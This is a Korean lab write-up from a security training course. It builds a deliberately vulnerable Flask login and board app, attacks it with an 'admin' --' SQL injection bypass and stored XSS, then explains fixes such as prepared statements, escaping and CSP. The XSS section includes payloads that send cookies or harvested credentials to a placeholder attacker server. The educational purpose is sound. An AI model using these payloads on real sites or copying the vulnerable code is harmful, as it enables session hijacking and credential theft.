Week 08 — 웹 해킹 기초: SQL Injection & XSS 실습

전체 소스코드 및 실습 보고서는 GitHub에서 확인할 수 있습니다. hojjang98 / skshielders-rookies-28 — projects/week_08

학습 목적으로 구성된 실습입니다. 의도적으로 취약한 환경을 직접 구축하고 공격함으로써 보안의 중요성을 체감하는 교육용 프로젝트입니다. 실제 서비스에 대한 무단 공격은 정보통신망법 위반입니다.


개요

Week 8 은 OWASP Top 10 에 포함된 대표적인 웹 취약점을 직접 구현하고 공격해보는 실습 주간이었다.

취약점을 단순히 이론으로 배우는 것과, 직접 코드를 짜고 공격이 성공하는 순간을 눈으로 보는 것 은 차원이 다른 경험이다. “왜 Prepared Statement 를 써야 하는가?” 라는 질문에, 이제는 몸으로 답할 수 있다.

  • 실습 환경 — Jupyter Notebook + Flask 2.2.2 + SQLite3
  • 실습일 — 2025년 12월 23일
  • 소요 시간 — 약 1시간

실습 시스템 구조

브라우저 (공격자 = 사용자)
       │
       ▼
Flask Web Application
├── /          => 로그인 페이지 (SQL Injection 취약)
├── /login     => 인증 처리
├── /board     => 게시판 (XSS 취약)
└── /post      => 글 작성
       │
       ▼
SQLite Database (users.db)
├── users  테이블 (id, username, password)
└── posts  테이블 (id, title, content)

초기 계정 데이터:

users 테이블
┌────┬──────────┬─────────────┐
│ id │ username │  password   │
├────┼──────────┼─────────────┤
│  1 │  admin   │ password123 │
│  2 │  user1   │   mypass    │
└────┴──────────┴─────────────┘

취약점 1 — SQL Injection (인증 우회)

취약한 코드의 문제점

아래는 절대 해서는 안 되는 로그인 처리 방식이다. 사용자 입력을 검증 없이 SQL 문자열에 직접 삽입한다.

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # 위험: 사용자 입력이 쿼리 문자열에 그대로 삽입됨
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)

이 코드에 정상 값이 들어올 때의 쿼리:

SELECT * FROM users WHERE username='admin' AND password='password123'

공격 시나리오 — admin’ –

공격자가 아이디에 admin’ – 를 입력하면 어떻게 될까?

입력값:
- 아이디   =>  admin' --
- 비밀번호 =>  (아무 값)

실제 실행되는 쿼리:
SELECT * FROM users WHERE username='admin' --' AND password='아무값'

분해하면:

username='admin'    <- username 조건 정상 완성
--                  <- SQL 주석 시작. 이후 모든 구문 무시
' AND password='아무값'   <- 완전히 무시됨

결과 => password 검증 없이 admin 계정 로그인 성공

공격이 가능한 이유

입력값이 쿼리의 데이터(값) 가 아닌 SQL 구문(코드) 의 일부가 되었기 때문이다. 공격자는 입력값에 SQL 문법을 삽입하여 개발자가 의도한 쿼리 구조를 완전히 바꾼다.

SQL Injection 으로 가능한 공격 범위:

  • 인증 우회 (이번 실습)
  • 전체 DB 데이터 추출 ( UNION SELECT 기법)
  • 데이터 변조 / 삭제 (INSERT, UPDATE, DELETE 삽입)
  • DB 권한에 따라 OS 명령 실행까지 가능 (xp_cmdshell 등)

실제 피해 사례:

  • 2017년 Equifax 해킹 — 1억 4천만 명 개인정보 유출
  • Sony PlayStation Network 해킹 — 7,700만 계정 정보 유출

취약점 2 — XSS (Cross-Site Scripting)

취약한 코드의 문제점

Jinja2 템플릿은 기본적으로 HTML 특수문자를 이스케이프한다. 그런데 |safe 필터를 사용하면 이 보호를 개발자가 직접 해제해버린다.

{% for post in posts %}
<div>
    <h4>{{ post[1] }}</h4>
    <p>{{ post[2]|safe }}</p>    <- |safe 로 HTML 이스케이프 비활성화!
</div>
{% endfor %}

공격 시나리오 — 스크립트 삽입

게시판 글 작성 시 내용에 JavaScript 코드를 삽입한다.

제목:   XSS 테스트
내용:   <script>alert('XSS 공격 성공!')</script>

DB 에 저장되는 내용은 그대로 위 문자열이다. 게시판 페이지를 열 때 |safe 로 인해 HTML 이스케이프 없이 그대로 렌더링되면, 브라우저는 이것을 텍스트가 아닌 실행 가능한 JavaScript 코드로 해석한다.

결과 => 페이지 로드 시 alert 창 실행 (스크립트 실행 성공)

XSS 의 실제 위협 — alert 는 시작일 뿐

alert 창이 뜨는 것 자체는 무해하지만, 같은 원리로 아래가 가능하다.

쿠키 탈취 (세션 하이재킹):

<script>
document.location = 'http://공격자서버/?cookie=' + document.cookie
</script>

=> 피해자가 페이지를 열면 로그인 세션 쿠키가 공격자 서버로 전송됨
=> 공격자는 피해자의 세션으로 로그인 가능 (비밀번호 불필요)

가짜 로그인 폼 삽입 (피싱):

<script>
document.body.innerHTML = '<form action="http://공격자서버/steal">아이디: <input name="u"> 비밀번호: <input name="p" type="password"><button>로그인</button></form>'
</script>

=> 정상 사이트처럼 보이는 가짜 로그인 폼으로 자격증명 수집

XSS 유형 정리:

유형 설명 이번 실습
Stored XSS 악성 스크립트가 DB 에 저장되어 페이지를 여는 모든 사용자에게 실행 이번 실습
Reflected XSS 입력값이 URL 파라미터로 즉시 응답에 반사
DOM-based XSS 서버 응답이 아닌 클라이언트 JS 에서 발생

방어 기법

SQL Injection 방어

방법 1 — Prepared Statement (가장 중요)

파라미터 바인딩을 사용하면 사용자 입력이 절대로 SQL 구문이 될 수 없다. ? 자리표시자에 값이 바인딩될 때 DB 드라이버가 자동으로 이스케이프 처리한다.

# 취약한 코드
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)

# 안전한 코드 (Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username=? AND password=?",
    (username, password)
)

admin' -- 를 입력해도 ? 에 바인딩되면:
=> username 값은 문자열 "admin' --" 그 자체로 처리됨
=> SQL 구문으로 해석되지 않음 => 공격 차단

방법 2 — ORM 사용

SQLAlchemy, Django ORM 같은 ORM 은 내부적으로 Prepared Statement 를 사용한다.

# SQLAlchemy 예시
user = User.query.filter_by(username=username, password=password).first()

방법 3 — 입력 검증 (보조 수단)

특수문자를 거부하는 검증은 보조 수단으로만 활용한다. Prepared Statement 없이 입력 검증만으로 SQL Injection 을 완전히 막을 수 없다.

import re
if re.search(r"[';\"--]", username):
    return "유효하지 않은 입력입니다."

XSS 방어

방법 1 — HTML 이스케이프 (Jinja2 기본 동작 유지)

|safe 필터를 제거하는 것만으로 Jinja2 의 자동 이스케이프가 복원된다.

# 취약한 코드
<p>{{ post[2]|safe }}</p>

# 안전한 코드 (|safe 제거)
<p>{{ post[2] }}</p>

<script>alert('XSS')</script> 를 삽입해도:
=> &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt; 로 이스케이프
=> 브라우저가 텍스트로 표시, 실행 안 됨

방법 2 — Content Security Policy (CSP)

HTTP 응답 헤더로 브라우저에게 “이 사이트에서는 외부 스크립트를 실행하지 말라” 고 지시한다.

@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'"
    return response

=> 인라인 <script> 및 외부 도메인 스크립트 실행 차단
=> XSS 가 삽입되더라도 브라우저 레벨에서 실행 차단

방법 3 — 서버 사이드 입력 검증

from html import escape
content = escape(request.form['content'])
# <script> => &lt;script&gt; 로 변환 후 저장

핵심 교훈 — Secure by Default

이번 실습에서 가장 크게 체감한 것은 “기본값이 안전해야 한다” 는 원칙이다.

Jinja2 는 기본적으로 이스케이프를 켜놓는다. 개발자가 |safe 를 명시적으로 써야만 이스케이프가 꺼진다.

SQLite3 는 기본적으로 문자열 포맷팅 쿼리를 허용한다. 개발자가 의식적으로 Prepared Statement 를 선택해야 한다.

두 취약점 모두 개발자가 기본 보호를 스스로 해제했기 때문에 발생했다.

보안의 핵심 원칙:
- Never Trust User Input     (사용자 입력은 항상 잠재적 공격이다)
- Validate Input             (입력 시 검증)
- Encode Output              (출력 시 인코딩)
- Secure by Default          (기본값을 안전하게 유지)
- Defense in Depth           (단일 방어선에 의존하지 않는다)

OWASP Top 10 연계

이번 실습에서 다룬 취약점은 OWASP Top 10 (2021) 에 포함된 주요 취약점이다.

OWASP 항목 이번 실습 연결
A03: Injection SQL Injection — 사용자 입력을 쿼리에 직접 삽입
A03: Injection XSS — 사용자 입력을 HTML 에 필터링 없이 출력
A07: Identification and Authentication Failures 취약한 로그인 로직으로 인증 우회
A05: Security Misconfiguration |safe 필터 오용, 기본 보안 설정 해제

학습 성과 정리

영역 학습 내용
취약점 이해 SQL Injection / XSS 의 동작 원리를 코드 레벨로 직접 확인
공격 실습 인증 우회, 스크립트 삽입 공격을 실제로 수행
방어 기법 Prepared Statement, HTML Escape, CSP 적용 방법 체득
보안 인식 사용자 입력을 신뢰하지 않는 개발 습관의 중요성 체감
OWASP 연계 실습 취약점을 OWASP Top 10 항목과 매핑

향후 학습 방향

  • CSRF (Cross-Site Request Forgery) — 인증된 사용자를 이용한 위조 요청 공격
  • XXE (XML External Entity) — XML 파서를 악용한 내부 파일 읽기
  • SSRF (Server-Side Request Forgery) — 서버를 이용한 내부 네트워크 접근
  • Burp Suite 활용 — 프록시 도구로 HTTP 요청/응답을 가로채고 수정하는 실습
  • DVWA / WebGoat — 체계적인 웹 취약점 학습을 위한 공개 실습 플랫폼 활용